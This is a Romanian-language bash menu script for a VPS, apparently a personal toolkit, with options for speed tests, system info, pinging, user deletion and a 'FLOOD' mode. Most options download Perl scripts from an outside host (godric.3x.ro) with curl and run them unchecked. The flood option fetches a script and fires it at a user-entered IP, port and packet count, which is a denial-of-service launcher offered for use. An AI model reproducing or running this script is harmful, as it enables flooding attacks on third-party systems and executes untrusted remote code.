#!/bin/bash # Informatii # By Godric #Culori BLK='' DRED='' YEL='' BLU='' GREE='' RES='' WHT='' DRED='' DBLU='' ############# #Culori Black='' Blue='' Green='' Cyan='' Red='' Purple='' Brown='' Gray='' DGray='' LBlue='' LGreen='' LCyan='' LRed='' LPurple='' Yellow='' White='' ############# ########Clean############## chmod +x * printf '\e[3;630;200t' printf '\e[8;41;80t' clear && printf '\e[3J' ########################### ########################### rm -rf god rm -rf ping rm -rf test.py rm -rf comenzi rm -rf clase ########################### #############Def########## meniu=${1:-"meniu"} speedtest=${1:-"speedtest"} speedtest2=${1:-"speedtest2"} userdel=${1:-"userdel"} ########################## ################# function function goto { label=$1 cmd=$(sed -n "/$label:/{:a;n;p;ba};" $0 | grep -v ':$') eval "$cmd" exit } ################# goto $meniu meniu: printf '\e[8;42;80t' clear && printf '\e[3J' clear echo "${DRED}" cat << "EOF" ================================================================================ ,▄▄▄████████████▄▄▄¿ y▄▓▓▀▀▀▓▓▓▓▓▓▓▓▓▓▓▓▀▀▀▀▓█▄ ,█▀. ▄█▓▓▓▓▓▓▓▓▓▓▓▓▓▄ ╙▓▄ )▓. █▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄ ╝█ ▓ ;¿▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ¿, ▐▌ ▐▌▄▓▓▓^▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓M▐▓▓█▄▓ ▓█▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓~]▓▓▓▓▒▌ ▒▓▓▓▓▓ ^▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ]▓▓▓▓▓M ]▒▒▒▒▒wk╙▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓,M▐▒▒▒▒▓ ▒▒▒▒▒▌▐▌ ╙▀▀▒▒▒▒▒▒▒▒▓▀╝`╓▒ ▒▒▒▒▒╙ └╚▀▒▒j▒▒@;,▄φ▒▒▒▒@▄w,╓▒▒▒ ▒Ñ╨╘ ╚▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒┘ ┌░▒▒▒▒▒▒▒▒▒▒▒▒╜╓ ▒y ▒▒▒▒▒▒▒▒▒ ║▒ )▒W╢▒▒▒▒▒▒▒M║▒ ▒░U░░░░░░▒║░Ü ╜▒░░░░░░░▒" ╨▒░░░Ñ" ================================================================================ ▒█▀▀█ █▀▀█ █▀▀▄ █▀▀█ ░▀░ █▀▀ ARHIVA ▒█░▄▄ █░░█ █░░█ █▄▄▀ ▀█▀ █░░ PRIVATA ▒█▄▄█ ▀▀▀▀ ▀▀▀░ ▀░▀▀ ▀▀▀ ▀▀▀ ================================================================================ EOF echo "${LGreen} Alege optiune de mai jos :" echo "${YEL}" echo -------------------------------------------------------------------------------- echo "${YEL}1.${YEL}SPEED" echo "${YEL}2.${YEL}INFO" echo "${YEL}3.${YEL}FLOOD" echo "${YEL}4.${YEL}USERDEL" echo -------------------------------------------------------------------------------- echo "${LGreen}" echo -------------------------------------------------------------------------------- echo "${LRed}5.${GREE}PING" echo "${LRed}6.${GREE}COMENZI" echo "${LRed}7.${GREE}CLASE" echo "${LRed}8.${GREE}SPEED v2" echo -------------------------------------------------------------------------------- echo echo "${LPurple}0.${LPurple}Exit" echo "${LRed}|+|Scrie numarul optiunei:" read scanner ## scanning if [ $scanner = "1" ]; then clear && printf '\e[3J' printf '\e[8;37;80t' echo "${LRed}HAI SA VEDEM CE VITEZA AVEM PE VPS:" rm -rf test.py && curl -s -O godric.3x.ro/test.py && perl test.py echo echo "${LGreen}SPEED TEST COMPLETE" ########################### echo echo echo "${LRed}|1|${Gray}Reload" echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "1" ]; then goto $speedtest elif [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end elif [ $scanner = "2" ]; then printf '\e[3;630;100t' printf '\e[8;49;80t' clear && printf '\e[3J' echo "${LRed}Information Sequence initialized*: ${LGreen}SUCCESS" clear && printf '\e[3J' curl -s -O godric.3x.ro/etc/inforoot && perl inforoot echo echo echo "${LGreen}ATATA A FOST CU INFO:" ########################### echo echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end ########################### elif [ $scanner = "3" ]; then printf '\e[3;630;100t' printf '\e[8;27;80t' clear && printf '\e[3J' echo "${LRed}Flooding Sequence initialized*:" echo "${LGreen}SUCCESS" rm -rf god && curl -s -O godric.3x.ro/flood/god echo "${LRed}|+|Te rog baga IP ${LGreen}" read ip echo "${LRed}|+|Te rog baga Port(53) ${LGreen}" read port echo "${LRed}|+|Te rog baga cate pachete vrei ${LGreen}" read pachete clear && printf '\e[3J' perl god $ip $port $pachete 0 ########################### echo echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end ########################### elif [ $scanner = "4" ]; then printf '\e[3;630;100t' printf '\e[8;49;80t' clear && printf '\e[3J' lastlog echo echo "${LPurple}USER CARE VREI SA STERGI:" read del userdel $del ########################### echo echo echo "${LRed}|1|${Gray}Reload" echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "1" ]; then goto $userdel elif [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end elif [ $scanner = "5" ]; then echo "${LRed}Ping Sequence initialized*: ${LGreen}SUCCESS" rm -rf ping curl -s -O godric.3x.ro/etc/ping && chmod +x * clear && printf '\e[3J' echo "${LRed}|+|Te rog baga IP ${LGreen}" read ip perl ping $ip rm -rf ping ########################### echo echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end ########################### elif [ $scanner = "6" ]; then printf '\e[8;51;80t' printf '\e[3;630;050t' clear && printf '\e[3J' echo "${LRed}Linux VPS Commands" rm -rf comenzi && curl -s -O godric.3x.ro/etc/comenzi && perl comenzi && rm -rf comenzi echo ########################### echo echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end ########################### elif [ $scanner = "7" ]; then clear && printf '\e[3J' echo "${LRed}Clase VPS" rm -rf clase && curl -s -O godric.3x.ro/etc/clase && perl clase && rm -rf clase echo ########################### echo echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end ########################### elif [ $scanner = "8" ]; then clear && printf '\e[3J' printf '\e[8;37;80t' echo "${LRed}HAI SA VEDEM CE VITEZA AVEM PE VPS:" curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py | python - echo echo "${LGreen}SPEED TEST COMPLETE" ########################### echo echo echo "${LRed}|1|${Gray}Reload" echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "1" ]; then goto $speedtest2 elif [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end goto $speedtest speedtest: clear && printf '\e[3J' printf '\e[8;37;80t' echo "${LRed}HAI SA VEDEM CE VITEZA AVEM PE VPS:" perl test.py echo echo "${LGreen}SPEED TEST COMPLETE" ########################### echo echo echo "${LRed}|1|${Gray}Reload" echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "1" ]; then goto $speedtest elif [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end ########################### goto $speedtest2 speedtest2: clear && printf '\e[3J' printf '\e[8;37;80t' echo "${LRed}HAI SA VEDEM CE VITEZA AVEM PE VPS:" curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest.py | python - echo echo "${LGreen}SPEED TEST COMPLETE" ########################### echo echo echo "${LRed}|1|${Gray}Reload" echo echo "${LRed}|0|${LPurple}Inapoi la meniu principal:" echo echo echo "${LRed}|+|Scrie numarul optiunei:" read close if [ $close = "1" ]; then goto $speedtest2 elif [ $close = "0" ]; then goto $meniu else echo "${DRED}|+| Esti prost de bubui am spus sa tastezi numar de mai sus." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end ########################### goto $userdel userdel: printf '\e[3;630;100t' printf '\e[8;49;80t' clear && printf '\e[3J' lastlog echo echo "${LPurple}USER CARE VREI SA STERGI:" read del userdel $del ########################### goto $userdel elif [ $scanner = "0" ]; then echo "${LPurple}Exit.... Please Wait." exit else echo "${LRed}|+| Nu ai introdus un numar sau nu e corect, te rog introdu din nou." sleep 1 clear goto $meniu fi # // if ^ works show this -> # end